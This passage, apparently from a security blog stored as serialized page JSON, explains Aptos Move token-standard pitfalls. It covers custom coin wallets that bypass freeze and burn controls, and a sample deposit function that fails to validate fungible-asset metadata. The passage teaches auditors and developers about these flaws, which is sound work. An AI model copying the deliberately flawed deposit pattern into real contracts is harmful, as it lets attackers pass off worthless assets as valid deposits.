",{"type":23,"tag":154,"props":63172,"children":63174},{"className":63173},[],[63175],{"type":29,"value":63028},{"type":29,"value":63177}," has only the ",{"type":23,"tag":154,"props":63179,"children":63181},{"className":63180},[],[63182],{"type":29,"value":7986},{"type":29,"value":63184}," ability and uses a ",{"type":23,"tag":154,"props":63186,"children":63188},{"className":63187},[],[63189],{"type":29,"value":63190},"CoinStore",{"type":29,"value":63192}," wrapper to store the coin and metadata:",{"type":23,"tag":4743,"props":63194,"children":63196},{"className":5009,"code":63195,"language":5008,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[63197],{"type":23,"tag":154,"props":63198,"children":63199},{"__ignoreMap":7},[63200,63240,63268,63288,63318,63347],{"type":23,"tag":504,"props":63201,"children":63202},{"class":5016,"line":5017},[63203,63207,63212,63216,63220,63224,63228,63232,63236],{"type":23,"tag":504,"props":63204,"children":63205},{"style":5030},[63206],{"type":29,"value":11448},{"type":23,"tag":504,"props":63208,"children":63209},{"style":5467},[63210],{"type":29,"value":63211}," CoinStore",{"type":23,"tag":504,"props":63213,"children":63214},{"style":5058},[63215],{"type":29,"value":2658},{"type":23,"tag":504,"props":63217,"children":63218},{"style":5041},[63219],{"type":29,"value":7856},{"type":23,"tag":504,"props":63221,"children":63222},{"style":5467},[63223],{"type":29,"value":7861},{"type":23,"tag":504,"props":63225,"children":63226},{"style":5058},[63227],{"type":29,"value":7866},{"type":23,"tag":504,"props":63229,"children":63230},{"style":5041},[63231],{"type":29,"value":7871},{"type":23,"tag":504,"props":63233,"children":63234},{"style":5041},[63235],{"type":29,"value":7977},{"type":23,"tag":504,"props":63237,"children":63238},{"style":5058},[63239],{"type":29,"value":5333},{"type":23,"tag":504,"props":63241,"children":63242},{"class":5016,"line":4868},[63243,63248,63252,63256,63260,63264],{"type":23,"tag":504,"props":63244,"children":63245},{"style":5041},[63246],{"type":29,"value":63247},"    coin",{"type":23,"tag":504,"props":63249,"children":63250},{"style":5047},[63251],{"type":29,"value":6533},{"type":23,"tag":504,"props":63253,"children":63254},{"style":5467},[63255],{"type":29,"value":7847},{"type":23,"tag":504,"props":63257,"children":63258},{"style":5058},[63259],{"type":29,"value":2658},{"type":23,"tag":504,"props":63261,"children":63262},{"style":5467},[63263],{"type":29,"value":8627},{"type":23,"tag":504,"props":63265,"children":63266},{"style":5058},[63267],{"type":29,"value":8183},{"type":23,"tag":504,"props":63269,"children":63270},{"class":5016,"line":4876},[63271,63276,63280,63284],{"type":23,"tag":504,"props":63272,"children":63273},{"style":5041},[63274],{"type":29,"value":63275},"    frozen",{"type":23,"tag":504,"props":63277,"children":63278},{"style":5047},[63279],{"type":29,"value":6533},{"type":23,"tag":504,"props":63281,"children":63282},{"style":5467},[63283],{"type":29,"value":14096},{"type":23,"tag":504,"props":63285,"children":63286},{"style":5058},[63287],{"type":29,"value":5557},{"type":23,"tag":504,"props":63289,"children":63290},{"class":5016,"line":5099},[63291,63296,63300,63305,63309,63314],{"type":23,"tag":504,"props":63292,"children":63293},{"style":5041},[63294],{"type":29,"value":63295},"    deposit_events",{"type":23,"tag":504,"props":63297,"children":63298},{"style":5047},[63299],{"type":29,"value":6533},{"type":23,"tag":504,"props":63301,"children":63302},{"style":5467},[63303],{"type":29,"value":63304}," EventHandle",{"type":23,"tag":504,"props":63306,"children":63307},{"style":5058},[63308],{"type":29,"value":2658},{"type":23,"tag":504,"props":63310,"children":63311},{"style":5467},[63312],{"type":29,"value":63313},"DepositEvent",{"type":23,"tag":504,"props":63315,"children":63316},{"style":5058},[63317],{"type":29,"value":8183},{"type":23,"tag":504,"props":63319,"children":63320},{"class":5016,"line":5203},[63321,63326,63330,63334,63338,63343],{"type":23,"tag":504,"props":63322,"children":63323},{"style":5041},[63324],{"type":29,"value":63325},"    withdraw_events",{"type":23,"tag":504,"props":63327,"children":63328},{"style":5047},[63329],{"type":29,"value":6533},{"type":23,"tag":504,"props":63331,"children":63332},{"style":5467},[63333],{"type":29,"value":63304},{"type":23,"tag":504,"props":63335,"children":63336},{"style":5058},[63337],{"type":29,"value":2658},{"type":23,"tag":504,"props":63339,"children":63340},{"style":5467},[63341],{"type":29,"value":63342},"WithdrawEvent",{"type":23,"tag":504,"props":63344,"children":63345},{"style":5058},[63346],{"type":29,"value":8183},{"type":23,"tag":504,"props":63348,"children":63349},{"class":5016,"line":5308},[63350],{"type":23,"tag":504,"props":63351,"children":63352},{"style":5058},[63353],{"type":29,"value":5965},{"type":23,"tag":32,"props":63355,"children":63356},{},[63357,63359,63364,63366,63371],{"type":29,"value":63358},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":154,"props":63360,"children":63362},{"className":63361},[],[63363],{"type":29,"value":63028},{"type":29,"value":63365}," can be stored. You can create your own ",{"type":23,"tag":154,"props":63367,"children":63369},{"className":63368},[],[63370],{"type":29,"value":63028},{"type":29,"value":63372}," wallet, which could look like this:",{"type":23,"tag":4743,"props":63374,"children":63376},{"className":5009,"code":63375,"language":5008,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[63377],{"type":23,"tag":154,"props":63378,"children":63379},{"__ignoreMap":7},[63380,63420,63447],{"type":23,"tag":504,"props":63381,"children":63382},{"class":5016,"line":5017},[63383,63387,63392,63396,63400,63404,63408,63412,63416],{"type":23,"tag":504,"props":63384,"children":63385},{"style":5030},[63386],{"type":29,"value":11448},{"type":23,"tag":504,"props":63388,"children":63389},{"style":5467},[63390],{"type":29,"value":63391}," DefinitelyLegitCoinStore",{"type":23,"tag":504,"props":63393,"children":63394},{"style":5058},[63395],{"type":29,"value":2658},{"type":23,"tag":504,"props":63397,"children":63398},{"style":5041},[63399],{"type":29,"value":7856},{"type":23,"tag":504,"props":63401,"children":63402},{"style":5467},[63403],{"type":29,"value":7861},{"type":23,"tag":504,"props":63405,"children":63406},{"style":5058},[63407],{"type":29,"value":7866},{"type":23,"tag":504,"props":63409,"children":63410},{"style":5041},[63411],{"type":29,"value":7871},{"type":23,"tag":504,"props":63413,"children":63414},{"style":5041},[63415],{"type":29,"value":7977},{"type":23,"tag":504,"props":63417,"children":63418},{"style":5058},[63419],{"type":29,"value":5333},{"type":23,"tag":504,"props":63421,"children":63422},{"class":5016,"line":4868},[63423,63427,63431,63435,63439,63443],{"type":23,"tag":504,"props":63424,"children":63425},{"style":5041},[63426],{"type":29,"value":63247},{"type":23,"tag":504,"props":63428,"children":63429},{"style":5047},[63430],{"type":29,"value":6533},{"type":23,"tag":504,"props":63432,"children":63433},{"style":5467},[63434],{"type":29,"value":7847},{"type":23,"tag":504,"props":63436,"children":63437},{"style":5058},[63438],{"type":29,"value":2658},{"type":23,"tag":504,"props":63440,"children":63441},{"style":5467},[63442],{"type":29,"value":8627},{"type":23,"tag":504,"props":63444,"children":63445},{"style":5058},[63446],{"type":29,"value":8038},{"type":23,"tag":504,"props":63448,"children":63449},{"class":5016,"line":4876},[63450],{"type":23,"tag":504,"props":63451,"children":63452},{"style":5058},[63453],{"type":29,"value":5965},{"type":23,"tag":32,"props":63455,"children":63456},{},[63457,63462,63464,63470,63472,63477,63479,63485,63487,63492],{"type":23,"tag":154,"props":63458,"children":63460},{"className":63459},[],[63461],{"type":29,"value":63190},{"type":29,"value":63463}," includes a ",{"type":23,"tag":154,"props":63465,"children":63467},{"className":63466},[],[63468],{"type":29,"value":63469},"frozen",{"type":29,"value":63471}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":154,"props":63473,"children":63475},{"className":63474},[],[63476],{"type":29,"value":63190},{"type":29,"value":63478}," is also required for a ",{"type":23,"tag":154,"props":63480,"children":63482},{"className":63481},[],[63483],{"type":29,"value":63484},"burn_from",{"type":29,"value":63486}," operation, which withdraws the ",{"type":23,"tag":154,"props":63488,"children":63490},{"className":63489},[],[63491],{"type":29,"value":62995},{"type":29,"value":63493}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":32,"props":63495,"children":63496},{},[63497,63499,63504,63506,63513,63515,63520],{"type":29,"value":63498},"Storing ",{"type":23,"tag":154,"props":63500,"children":63502},{"className":63501},[],[63503],{"type":29,"value":62995},{"type":29,"value":63505}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":68,"props":63507,"children":63510},{"href":63508,"rel":63509},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[72],[63511],{"type":29,"value":63512},"AIP-21",{"type":29,"value":63514}," summarizes the ",{"type":23,"tag":154,"props":63516,"children":63518},{"className":63517},[],[63519],{"type":29,"value":62995},{"type":29,"value":63521}," problems:",{"type":23,"tag":446,"props":63523,"children":63524},{},[63525,63534],{"type":23,"tag":32,"props":63526,"children":63527},{},[63528,63532],{"type":23,"tag":504,"props":63529,"children":63530},{},[63531],{"type":29,"value":853},{"type":29,"value":63533}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":32,"props":63535,"children":63536},{},[63537],{"type":29,"value":63538},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":32,"props":63540,"children":63541},{},[63542],{"type":29,"value":63543},"And declares, that:",{"type":23,"tag":446,"props":63545,"children":63546},{},[63547],{"type":23,"tag":32,"props":63548,"children":63549},{},[63550],{"type":29,"value":63551},"Fungible assets addresses these issues.",{"type":23,"tag":32,"props":63553,"children":63554},{},[63555],{"type":29,"value":63556},"Let's find out whether this is indeed the case.",{"type":23,"tag":24,"props":63558,"children":63560},{"id":63559},"the-fungible-assets",[63561],{"type":29,"value":63562},"The fungible assets",{"type":23,"tag":32,"props":63564,"children":63565},{},[63566,63568,63574,63576,63583],{"type":29,"value":63567},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":154,"props":63569,"children":63571},{"className":63570},[],[63572],{"type":29,"value":63573},"FungibleAsset",{"type":29,"value":63575}," uses the ",{"type":23,"tag":68,"props":63577,"children":63580},{"href":63578,"rel":63579},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[72],[63581],{"type":29,"value":63582},"hot-potato pattern",{"type":29,"value":6533},{"type":23,"tag":4743,"props":63585,"children":63587},{"className":5009,"code":63586,"language":5008,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[63588],{"type":23,"tag":154,"props":63589,"children":63590},{"__ignoreMap":7},[63591,63607,63637,63657],{"type":23,"tag":504,"props":63592,"children":63593},{"class":5016,"line":5017},[63594,63598,63603],{"type":23,"tag":504,"props":63595,"children":63596},{"style":5030},[63597],{"type":29,"value":11448},{"type":23,"tag":504,"props":63599,"children":63600},{"style":5467},[63601],{"type":29,"value":63602}," FungibleAsset",{"type":23,"tag":504,"props":63604,"children":63605},{"style":5058},[63606],{"type":29,"value":5333},{"type":23,"tag":504,"props":63608,"children":63609},{"class":5016,"line":4868},[63610,63615,63619,63624,63628,63633],{"type":23,"tag":504,"props":63611,"children":63612},{"style":5041},[63613],{"type":29,"value":63614},"    metadata",{"type":23,"tag":504,"props":63616,"children":63617},{"style":5047},[63618],{"type":29,"value":6533},{"type":23,"tag":504,"props":63620,"children":63621},{"style":5467},[63622],{"type":29,"value":63623}," Object",{"type":23,"tag":504,"props":63625,"children":63626},{"style":5058},[63627],{"type":29,"value":2658},{"type":23,"tag":504,"props":63629,"children":63630},{"style":5467},[63631],{"type":29,"value":63632},"Metadata",{"type":23,"tag":504,"props":63634,"children":63635},{"style":5058},[63636],{"type":29,"value":8183},{"type":23,"tag":504,"props":63638,"children":63639},{"class":5016,"line":4876},[63640,63645,63649,63653],{"type":23,"tag":504,"props":63641,"children":63642},{"style":5041},[63643],{"type":29,"value":63644},"    amount",{"type":23,"tag":504,"props":63646,"children":63647},{"style":5047},[63648],{"type":29,"value":6533},{"type":23,"tag":504,"props":63650,"children":63651},{"style":5467},[63652],{"type":29,"value":7905},{"type":23,"tag":504,"props":63654,"children":63655},{"style":5058},[63656],{"type":29,"value":5557},{"type":23,"tag":504,"props":63658,"children":63659},{"class":5016,"line":5099},[63660],{"type":23,"tag":504,"props":63661,"children":63662},{"style":5058},[63663],{"type":29,"value":5965},{"type":23,"tag":32,"props":63665,"children":63666},{},[63667,63669,63674,63675,63680,63682,63687,63689,63696],{"type":29,"value":63668},"Unlike ",{"type":23,"tag":154,"props":63670,"children":63672},{"className":63671},[],[63673],{"type":29,"value":63028},{"type":29,"value":4367},{"type":23,"tag":154,"props":63676,"children":63678},{"className":63677},[],[63679],{"type":29,"value":63573},{"type":29,"value":63681}," types are defined at runtime through the ",{"type":23,"tag":154,"props":63683,"children":63685},{"className":63684},[],[63686],{"type":29,"value":63632},{"type":29,"value":63688}," field. This change was meant to ",{"type":23,"tag":68,"props":63690,"children":63693},{"href":63691,"rel":63692},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[72],[63694],{"type":29,"value":63695},"enhance extensibility",{"type":29,"value":6533},{"type":23,"tag":446,"props":63698,"children":63699},{},[63700],{"type":23,"tag":32,"props":63701,"children":63702},{},[63703],{"type":29,"value":63704},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":32,"props":63706,"children":63707},{},[63708,63710,63716],{"type":29,"value":63709},"An important implication is that functions accepting ",{"type":23,"tag":154,"props":63711,"children":63713},{"className":63712},[],[63714],{"type":29,"value":63715},"FungibleAssets",{"type":29,"value":63717}," must verify the metadata to ensure valid assets.",{"type":23,"tag":32,"props":63719,"children":63720},{},[63721],{"type":29,"value":63722},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":4743,"props":63724,"children":63726},{"className":5009,"code":63725,"language":5008,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[63727],{"type":23,"tag":154,"props":63728,"children":63729},{"__ignoreMap":7},[63730,63767,63805,63829,63841,63849,63894,63928,63958,63965,64002,64009,64047,64054,64100],{"type":23,"tag":504,"props":63731,"children":63732},{"class":5016,"line":5017},[63733,63738,63742,63747,63751,63755,63759,63763],{"type":23,"tag":504,"props":63734,"children":63735},{"style":5041},[63736],{"type":29,"value":63737},"public",{"type":23,"tag":504,"props":63739,"children":63740},{"style":5041},[63741],{"type":29,"value":8252},{"type":23,"tag":504,"props":63743,"children":63744},{"style":5041},[63745],{"type":29,"value":63746}," deposit",{"type":23,"tag":504,"props":63748,"children":63749},{"style":5058},[63750],{"type":29,"value":2658},{"type":23,"tag":504,"props":63752,"children":63753},{"style":5467},[63754],{"type":29,"value":8033},{"type":23,"tag":504,"props":63756,"children":63757},{"style":5047},[63758],{"type":29,"value":6533},{"type":23,"tag":504,"props":63760,"children":63761},{"style":5041},[63762],{"type":29,"value":7977},{"type":23,"tag":504,"props":63764,"children":63765},{"style":5058},[63766],{"type":29,"value":8632},{"type":23,"tag":504,"props":63768,"children":63769},{"class":5016,"line":4868},[63770,63775,63779,63783,63787,63791,63796,63800],{"type":23,"tag":504,"props":63771,"children":63772},{"style":5041},[63773],{"type":29,"value":63774},"    sender",{"type":23,"tag":504,"props":63776,"children":63777},{"style":5047},[63778],{"type":29,"value":6533},{"type":23,"tag":504,"props":63780,"children":63781},{"style":5047},[63782],{"type":29,"value":9185},{"type":23,"tag":504,"props":63784,"children":63785},{"style":5041},[63786],{"type":29,"value":9190},{"type":23,"tag":504,"props":63788,"children":63789},{"style":5058},[63790],{"type":29,"value":4367},{"type":23,"tag":504,"props":63792,"children":63793},{"style":5041},[63794],{"type":29,"value":63795},"fa",{"type":23,"tag":504,"props":63797,"children":63798},{"style":5047},[63799],{"type":29,"value":6533},{"type":23,"tag":504,"props":63801,"children":63802},{"style":5467},[63803],{"type":29,"value":63804}," FungibleAsset\n",{"type":23,"tag":504,"props":63806,"children":63807},{"class":5016,"line":4876},[63808,63812,63816,63820,63824],{"type":23,"tag":504,"props":63809,"children":63810},{"style":5058},[63811],{"type":29,"value":5128},{"type":23,"tag":504,"props":63813,"children":63814},{"style":5041},[63815],{"type":29,"value":8389},{"type":23,"tag":504,"props":63817,"children":63818},{"style":5058},[63819],{"type":29,"value":25073},{"type":23,"tag":504,"props":63821,"children":63822},{"style":5047},[63823],{"type":29,"value":853},{"type":23,"tag":504,"props":63825,"children":63826},{"style":5058},[63827],{"type":29,"value":63828},"] {\n",{"type":23,"tag":504,"props":63830,"children":63831},{"class":5016,"line":5099},[63832,63837],{"type":23,"tag":504,"props":63833,"children":63834},{"style":5139},[63835],{"type":29,"value":63836},"    assert_not_paused",{"type":23,"tag":504,"props":63838,"children":63839},{"style":5058},[63840],{"type":29,"value":5725},{"type":23,"tag":504,"props":63842,"children":63843},{"class":5016,"line":5203},[63844],{"type":23,"tag":504,"props":63845,"children":63846},{"style":5058},[63847],{"type":29,"value":63848},"    \n",{"type":23,"tag":504,"props":63850,"children":63851},{"class":5016,"line":5308},[63852,63856,63861,63865,63870,63874,63878,63882,63886,63890],{"type":23,"tag":504,"props":63853,"children":63854},{"style":5030},[63855],{"type":29,"value":5033},{"type":23,"tag":504,"props":63857,"children":63858},{"style":5041},[63859],{"type":29,"value":63860}," fa_amount",{"type":23,"tag":504,"props":63862,"children":63863},{"style":5047},[63864],{"type":29,"value":5050},{"type":23,"tag":504,"props":63866,"children":63867},{"style":5058},[63868],{"type":29,"value":63869}," fungible_asset",{"type":23,"tag":504,"props":63871,"children":63872},{"style":5047},[63873],{"type":29,"value":5530},{"type":23,"tag":504,"props":63875,"children":63876},{"style":5139},[63877],{"type":29,"value":22359},{"type":23,"tag":504,"props":63879,"children":63880},{"style":5058},[63881],{"type":29,"value":603},{"type":23,"tag":504,"props":63883,"children":63884},{"style":5047},[63885],{"type":29,"value":5151},{"type":23,"tag":504,"props":63887,"children":63888},{"style":5041},[63889],{"type":29,"value":63795},{"type":23,"tag":504,"props":63891,"children":63892},{"style":5058},[63893],{"type":29,"value":5888},{"type":23,"tag":504,"props":63895,"children":63896},{"class":5016,"line":5336},[63897,63901,63906,63910,63915,63919,63924],{"type":23,"tag":504,"props":63898,"children":63899},{"style":5030},[63900],{"type":29,"value":5033},{"type":23,"tag":504,"props":63902,"children":63903},{"style":5041},[63904],{"type":29,"value":63905}," sender_address",{"type":23,"tag":504,"props":63907,"children":63908},{"style":5047},[63909],{"type":29,"value":5050},{"type":23,"tag":504,"props":63911,"children":63912},{"style":5139},[63913],{"type":29,"value":63914}," address_of",{"type":23,"tag":504,"props":63916,"children":63917},{"style":5058},[63918],{"type":29,"value":603},{"type":23,"tag":504,"props":63920,"children":63921},{"style":5041},[63922],{"type":29,"value":63923},"sender",{"type":23,"tag":504,"props":63925,"children":63926},{"style":5058},[63927],{"type":29,"value":5888},{"type":23,"tag":504,"props":63929,"children":63930},{"class":5016,"line":5349},[63931,63936,63940,63945,63949,63954],{"type":23,"tag":504,"props":63932,"children":63933},{"style":5139},[63934],{"type":29,"value":63935},"    check_compliance",{"type":23,"tag":504,"props":63937,"children":63938},{"style":5058},[63939],{"type":29,"value":603},{"type":23,"tag":504,"props":63941,"children":63942},{"style":5041},[63943],{"type":29,"value":63944},"fa_amount",{"type":23,"tag":504,"props":63946,"children":63947},{"style":5058},[63948],{"type":29,"value":4367},{"type":23,"tag":504,"props":63950,"children":63951},{"style":5041},[63952],{"type":29,"value":63953},"sender_address",{"type":23,"tag":504,"props":63955,"children":63956},{"style":5058},[63957],{"type":29,"value":5888},{"type":23,"tag":504,"props":63959,"children":63960},{"class":5016,"line":5367},[63961],{"type":23,"tag":504,"props":63962,"children":63963},{"style":5058},[63964],{"type":29,"value":63848},{"type":23,"tag":504,"props":63966,"children":63967},{"class":5016,"line":5388},[63968,63973,63977,63982,63986,63990,63994,63998],{"type":23,"tag":504,"props":63969,"children":63970},{"style":5139},[63971],{"type":29,"value":63972},"    increase_deposit",{"type":23,"tag":504,"props":63974,"children":63975},{"style":5058},[63976],{"type":29,"value":603},{"type":23,"tag":504,"props":63978,"children":63979},{"style":5139},[63980],{"type":29,"value":63981},"get_vault",{"type":23,"tag":504,"props":63983,"children":63984},{"style":5058},[63985],{"type":29,"value":603},{"type":23,"tag":504,"props":63987,"children":63988},{"style":5041},[63989],{"type":29,"value":63953},{"type":23,"tag":504,"props":63991,"children":63992},{"style":5058},[63993],{"type":29,"value":17224},{"type":23,"tag":504,"props":63995,"children":63996},{"style":5041},[63997],{"type":29,"value":63944},{"type":23,"tag":504,"props":63999,"children":64000},{"style":5058},[64001],{"type":29,"value":5888},{"type":23,"tag":504,"props":64003,"children":64004},{"class":5016,"line":5397},[64005],{"type":23,"tag":504,"props":64006,"children":64007},{"style":5058},[64008],{"type":29,"value":63848},{"type":23,"tag":504,"props":64010,"children":64011},{"class":5016,"line":5649},[64012,64017,64021,64026,64030,64035,64039,64043],{"type":23,"tag":504,"props":64013,"children":64014},{"style":5058},[64015],{"type":29,"value":64016},"    primary_fungible_store",{"type":23,"tag":504,"props":64018,"children":64019},{"style":5047},[64020],{"type":29,"value":5530},{"type":23,"tag":504,"props":64022,"children":64023},{"style":5139},[64024],{"type":29,"value":64025},"deposit",{"type":23,"tag":504,"props":64027,"children":64028},{"style":5058},[64029],{"type":29,"value":603},{"type":23,"tag":504,"props":64031,"children":64032},{"style":5139},[64033],{"type":29,"value":64034},"global_vault_address",{"type":23,"tag":504,"props":64036,"children":64037},{"style":5058},[64038],{"type":29,"value":20425},{"type":23,"tag":504,"props":64040,"children":64041},{"style":5041},[64042],{"type":29,"value":63795},{"type":23,"tag":504,"props":64044,"children":64045},{"style":5058},[64046],{"type":29,"value":5888},{"type":23,"tag":504,"props":64048,"children":64049},{"class":5016,"line":5666},[64050],{"type":23,"tag":504,"props":64051,"children":64052},{"style":5058},[64053],{"type":29,"value":63848},{"type":23,"tag":504,"props":64055,"children":64056},{"class":5016,"line":5683},[64057,64062,64066,64071,64075,64080,64084,64088,64092,64096],{"type":23,"tag":504,"props":64058,"children":64059},{"style":5058},[64060],{"type":29,"value":64061},"    event",{"type":23,"tag":504,"props":64063,"children":64064},{"style":5047},[64065],{"type":29,"value":5530},{"type":23,"tag":504,"props":64067,"children":64068},{"style":5139},[64069],{"type":29,"value":64070},"emit",{"type":23,"tag":504,"props":64072,"children":64073},{"style":5058},[64074],{"type":29,"value":603},{"type":23,"tag":504,"props":64076,"children":64077},{"style":5467},[64078],{"type":29,"value":64079},"Deposit",{"type":23,"tag":504,"props":64081,"children":64082},{"style":5058},[64083],{"type":29,"value":47279},{"type":23,"tag":504,"props":64085,"children":64086},{"style":5041},[64087],{"type":29,"value":63953},{"type":23,"tag":504,"props":64089,"children":64090},{"style":5058},[64091],{"type":29,"value":4367},{"type":23,"tag":504,"props":64093,"children":64094},{"style":5041},[64095],{"type":29,"value":63944},{"type":23,"tag":504,"props":64097,"children":64098},{"style":5058},[64099],{"type":29,"value":35078},{"type":23,"tag":504,"props":64101,"children":64102},{"class":5016,"line":5696},[64103],{"type":23,"tag":504,"props":64104,"children":64105},{"style":5058},[64106],{"type":29,"value":5965},{"type":23,"tag":32,"props":64108,"children":64109},{},[64110],{"type":29,"value":64111},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":32,"props":64113,"children":64114},{},[64115],{"type":29,"value":64116},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":24,"props":64118,"children":64120},{"id":64119},"fungible-stores",[64121],{"type":29,"value":64122},"Fungible stores",{"type":23,"tag":32,"props":64124,"children":64125},{},[64126],{"type":29,"value":64127},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":32,"props":64129,"children":64130},{},[64131,64133,64139],{"type":29,"value":64132},"Meet the ",{"type":23,"tag":154,"props":64134,"children":64136},{"className":64135},[],[64137],{"type":29,"value":64138},"FungibleStore",{"type":29,"value":357},{"type":23,"tag":4743,"props":64141,"children":64143},{"className":5009,"code":64142,"language":5008,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[64144],{"type":23,"tag":154,"props":64145,"children":64146},{"__ignoreMap":7},[64147,64171,64198,64218,64237],{"type":23,"tag":504,"props":64148,"children":64149},{"class":5016,"line":5017},[64150,64154,64159,64163,64167],{"type":23,"tag":504,"props":64151,"children":64152},{"style":5030},[64153],{"type":29,"value":11448},{"type":23,"tag":504,"props":64155,"children":64156},{"style":5467},[64157],{"type":29,"value":64158}," FungibleStore",{"type":23,"tag":504,"props":64160,"children":64161},{"style":5041},[64162],{"type":29,"value":11457},{"type":23,"tag":504,"props":64164,"children":64165},{"style":5041},[64166],{"type":29,"value":7977},{"type":23,"tag":504,"props":64168,"children":64169},{"style":5058},[64170],{"type":29,"value":5333},{"type":23,"tag":504,"props":64172,"children":64173},{"class":5016,"line":4868},[64174,64178,64182,64186,64190,64194],{"type":23,"tag":504,"props":64175,"children":64176},{"style":5041},[64177],{"type":29,"value":63614},{"type":23,"tag":504,"props":64179,"children":64180},{"style":5047},[64181],{"type":29,"value":6533},{"type":23,"tag":504,"props":64183,"children":64184},{"style":5467},[64185],{"type":29,"value":63623},{"type":23,"tag":504,"props":64187,"children":64188},{"style":5058},[64189],{"type":29,"value":2658},{"type":23,"tag":504,"props":64191,"children":64192},{"style":5467},[64193],{"type":29,"value":63632},{"type":23,"tag":504,"props":64195,"children":64196},{"style":5058},[64197],{"type":29,"value":8183},{"type":23,"tag":504,"props":64199,"children":64200},{"class":5016,"line":4876},[64201,64206,64210,64214],{"type":23,"tag":504,"props":64202,"children":64203},{"style":5041},[64204],{"type":29,"value":64205},"    balance",{"type":23,"tag":504,"props":64207,"children":64208},{"style":5047},[64209],{"type":29,"value":6533},{"type":23,"tag":504,"props":64211,"children":64212},{"style":5467},[64213],{"type":29,"value":7905},{"type":23,"tag":504,"props":64215,"children":64216},{"style":5058},[64217],{"type":29,"value":5557},{"type":23,"tag":504,"props":64219,"children":64220},{"class":5016,"line":5099},[64221,64225,64229,64233],{"type":23,"tag":504,"props":64222,"children":64223},{"style":5041},[64224],{"type":29,"value":63275},{"type":23,"tag":504,"props":64226,"children":64227},{"style":5047},[64228],{"type":29,"value":6533},{"type":23,"tag":504,"props":64230,"children":64231},{"style":5467},[64232],{"type":29,"value":14096},{"type":23,"tag":504,"props":64234,"children":64235},{"style":5058},[64236],{"type":29,"value":5557},{"type":23,"tag":504,"props":64238,"children":64239},{"class":5016,"line":5203},[64240],{"type":23,"tag":504,"props":64241,"children":64242},{"style":5058},[64243],{"type":29,"value":5965},{"type":23,"tag":32,"props":64245,"children":64246},{},[64247,64252,64254,64259,64261,64266,64268,64273,64275,64280],{"type":23,"tag":154,"props":64248,"children":64250},{"className":64249},[],[64251],{"type":29,"value":64138},{"type":29,"value":64253}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":154,"props":64255,"children":64257},{"className":64256},[],[64258],{"type":29,"value":63573},{"type":29,"value":64260}," (it can't because ",{"type":23,"tag":154,"props":64262,"children":64264},{"className":64263},[],[64265],{"type":29,"value":63573},{"type":29,"value":64267}," doesn't have ",{"type":23,"tag":154,"props":64269,"children":64271},{"className":64270},[],[64272],{"type":29,"value":7986},{"type":29,"value":64274},"). Withdrawals create temporary ",{"type":23,"tag":154,"props":64276,"children":64278},{"className":64277},[],[64279],{"type":29,"value":63573},{"type":29,"value":64281}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":20844,"props":64283,"children":64284},{},[],{"type":23,"tag":32,"props":64286,"children":64287},{},[64288,64290,64295,64297,64302],{"type":29,"value":64289},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":154,"props":64291,"children":64293},{"className":64292},[],[64294],{"type":29,"value":63573},{"type":29,"value":64296}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":154,"props":64298,"children":64300},{"className":64299},[],[64301],{"type":29,"value":63573},{"type":29,"value":357},{"type":23,"tag":4743,"props":64304,"children":64306},{"className":5009,"code":64305,"language":5008,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    